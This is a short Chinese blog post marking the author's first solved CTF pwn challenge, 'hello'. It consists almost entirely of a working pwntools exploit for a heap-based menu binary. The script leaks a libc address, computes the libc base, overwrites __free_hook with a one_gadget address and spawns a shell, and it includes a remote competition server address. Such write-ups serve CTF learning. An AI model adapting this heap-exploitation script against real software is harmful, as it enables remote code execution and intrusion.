目录

• hello

嘿嘿,单独发纪念一下，首次在国内比赛做出一道pwn题(23/59)

hello

#!/usr/bin/env python2
# coding=utf-8
from pwn import *

arch = "amd64"
filename = "hello"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
free_got=elf.got['free']
# libc
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ogg_libc=[0x45226,0x4527a,0xf0364,0xf1207]

def add(num,name,size,info):
    io.recvuntil("your choice>>")
    io.sendline("1")
    io.recvuntil("phone number:")
    io.sendline(num)
    io.recvuntil("name:")
    io.sendline(name)
    io.recvuntil("input des size:")
    io.sendline(str(size))
    io.recvuntil("des info:")
    io.sendline(info)

def free(idx):
    io.recvuntil("your choice>>")
    io.sendline("2")
    io.recvuntil("input index:")
    io.sendline(str(idx))

def show(idx):
    io.recvuntil("your choice>>")
    io.sendline("3")
    io.recvuntil("input index:")
    io.sendline(str(idx))

def edit(idx,num,name,info):
    io.recvuntil("your choice>>")
    io.sendline("4")
    io.recvuntil("input index:")
    io.sendline(str(idx))
    io.recvuntil("phone number:")
    io.sendline(num)
    io.recvuntil("name:")
    io.sendline(name)
    io.recvuntil("des info:")
    io.sendline(info)

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("119.3.81.43",49153)
    num=b'aaaa'
    name=b'b'*(8+5)
    info=b'cccc'
    add(num,b'cccc',0x60,info)
    add(num, name, 0x70, b'/bin/sh\x00')
    add(num, name, 0x80, info)
    add(num, name, 0x80, info)
    edit(3, num, name, info)
    free(2)
    b(0x0000000000000C32)
    show(3)
    io.recvuntil("des:")
    malloc_hook=u64(io.recv(6).ljust(8,b'\x00'))-88-0x10
    ###count####
    libcbase=malloc_hook-libc.symbols['__malloc_hook']
    ogg_addr=libcbase+ogg_libc[1]
    sys_addr=libcbase+libc.symbols['system']
    free_hook=libcbase+libc.symbols['__free_hook']
    print("libcbase:",hex(libcbase))
    #######
    #name = b'b' * (8 + 5) +  b'\x00' * (18)
    #edit(0, num, name, info)
    name=b'b'*(8+5)+p64(free_hook)
    edit(0,num,name,info)

    info=p64(ogg_addr)
    edit(0, num, name, info)
    free(1)
    #b(0x0000000000000C32)
    io.interactive()
main()